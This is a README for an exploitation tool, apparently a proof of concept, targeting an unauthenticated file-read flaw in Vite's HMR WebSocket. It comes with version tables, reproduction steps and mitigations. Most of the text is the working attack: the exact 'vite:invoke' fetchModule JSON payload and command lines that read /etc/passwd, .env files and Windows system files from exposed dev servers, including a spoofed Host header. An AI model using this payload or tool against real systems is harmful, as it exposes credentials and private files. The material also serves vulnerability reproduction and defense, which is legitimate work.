
Outil d'exploitation pratique et facile à utiliser pour CVE-2026-39363
PoC directement exécutable pour GHSA-p9ff-h696-f583. Il contourne la restriction server.fs.allow de la couche HTTP en appelant fetchModule via le WebSocket HMR sans authentification, ce qui permet de lire des fichiers arbitraires sur la machine où tourne le serveur de développement.
| Version | Affectée | Corrigée |
|---|
| Vite 6 | >=6.0.0, <=6.4.1 | 6.4.2 |
| Vite 7 | >=7.0.0, <=7.3.1 | 7.3.2 |
| Vite 8 | >=8.0.0, <=8.0.4 | 8.0.5 |
| vite-plus (branche VoidZero) | <=0.1.15 | 0.1.16 |
Conditions d'exploitation :
--host / server.host), etserver.ws: false).CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306.
CISA SSVC a signalé exploitation=poc, automatable=yes.
server.fs.allow (/@fs/<chemin absolu> → 403).Sec-WebSocket-Protocol: vite-hmr, et?token= uniquement lorsque l'en-tête Origin est présent (CWE-306 : un client non navigateur peut se connecter directement sans en-tête Origin).vite:invoke pour appeler la méthode fetchModule enregistrée côté serveur, avec file://<chemin absolu>?raw. fetchModule passe directement par le pipeline de transformation des modules, contournant totalement le contrôle fs.allow, et renvoie le contenu du fichier comme export default "..." (CWE-200).Structure du message de requête vite:invoke (identique en v6/v7/v8) :
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "1send",
"data": ["file:///etc/passwd?raw"]
}
}
Le serveur répond avec id devenu 1response, et data.data.result.code contient le contenu du fichier.
Nécessite uniquement la bibliothèque standard de Python 3, aucune dépendance tierce :
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd
# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini
# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/
# HTTPS dev server
python exp.py https://target:5173 /etc/passwd
# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173
Paramètres :
| Paramètre | Description |
|---|---|
url | Cible, ex. http://192.168.1.10:5173 |
files | Chemins absolus à lire, au format POSIX ou Windows |
--host-header | En-tête Host falsifié (par défaut, celui de la cible). Par défaut, seules les adresses IP/localhost sont autorisées ; un nom de domaine personnalisé doit être configuré explicitement |
--ws-path | Chemin du WebSocket HMR, défaut / (à modifier si la cible a configuré server.hmr.path) |
--timeout | Délai d'expiration par requête en secondes, défaut 10 |
-o/--output-dir | Enregistre le contenu lu dans un répertoire |
Le PoC de ce dépôt a été testé avec succès dans les environnements suivants (lecture de secret.txt hors de la racine du serveur de développement ; le chemin HTTP @fs pour le même fichier renvoie 403) :
vite --host 0.0.0.0, Windows)Étapes de reproduction (même chaîne que le PoC) :
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173
# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw' # -> 403
# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>
vite build + un hébergement statique ; ne lancez pas vite dev.server.ws: false, ou ajoutez un proxy inverse qui n'autorise que l'accès local au port du serveur de développement.À utiliser uniquement dans le cadre de tests d'intrusion autorisés, de reproduction de vulnérabilités et de recherche défensive. L'utilisateur est seul responsable des conséquences de l'utilisation de cet outil sur les systèmes d'autrui sans autorisation.